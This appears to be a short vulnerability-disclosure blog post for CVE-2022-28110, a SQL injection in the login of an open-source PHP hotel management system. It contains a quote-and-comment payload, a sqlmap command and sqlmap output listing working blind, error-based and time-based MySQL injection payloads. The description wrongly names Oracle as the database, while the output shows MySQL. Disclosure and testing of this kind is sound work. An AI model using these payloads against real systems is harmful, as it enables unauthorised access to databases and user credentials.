Hotel Management System — Sql Injection on Login page

Akshat singhal
2 min readMay 5, 2022

1.Description :-

When browsing to the webpage `http://127.0.0.1/login.php` and entering certain control characters into the “Username” field, and SQL error (Oracle) is produced.

# CVE: CVE-2022–28110

# Exploit Title: Hotel Management System — Sql Injection on Login page

# Date: 2022–03–17

# Exploit Author: Akshat Singhal

# Vendor Homepage: https://github.com/pcsaini/hotel_management_system

# Software Link: https://github.com/pcsaini/hotel_management_system

# Version: 1.0

# Tested on: Windows 10/Kali Linux

# Contact: www.linkedin.com/in/akshat999

2.Proof Of Concept:-

  • Navigate to the following url “http://127.0.0.1/login.php".
  • Enter the payload in the username field, it will create a sql error. {payload =” ‘; — “}
  • Use sqlmap tool and exploit the username field.
  • sqlmap -u http://127.0.0.1/ajax.php — -data=”email=test&password=test&login=”

Vulnerable Url : http://127.0.0.1/ajax.php

3. EXPLOIT:-

# sqlmap -u http://127.0.0.1/ajax.php — -data=”email=test&password=test&login=”
___
__H__
___ ___[(]_____ ___ ___ {1.6.3.14#dev}
|_ -| . [,] | .’| . |
|___|_ [)]_|_|_|__,| _|
|_|V… |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:40:15 /2022–03–17/

[10:40:15] [WARNING] provided value for parameter ‘login’ is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[10:40:15] [INFO] resuming back-end DBMS ‘mysql’
[10:40:15] [INFO] testing connection to the target URL
got a 302 redirect to ‘http://127.0.0.1:80/login.php?loginE'. Do you want to follow? [Y/n] n
you have not declared cookie(s), while server wants to set its own (‘PHPSESSID=ltgqjtg9kis…q1q7a4v3fs’). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
— -
Parameter: email (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: email=test’ RLIKE (SELECT (CASE WHEN (6749=6749) THEN 0x74657374 ELSE 0x28 END)) — gkQL&password=test&login=

Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: email=test’ AND (SELECT 6985 FROM(SELECT COUNT(*),CONCAT(0x7171786a71,(SELECT (ELT(6985=6985,1))),0x7170626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) — QiSg&password=test&login=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=test’ AND (SELECT 1490 FROM (SELECT(SLEEP(5)))elmx) — KywW&password=test&login=
— -
[10:40:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

--

--

Akshat singhal

Web Penetration tester, Bug Hunter, Ethical Hacker, Bugcrowd to 700, Blogger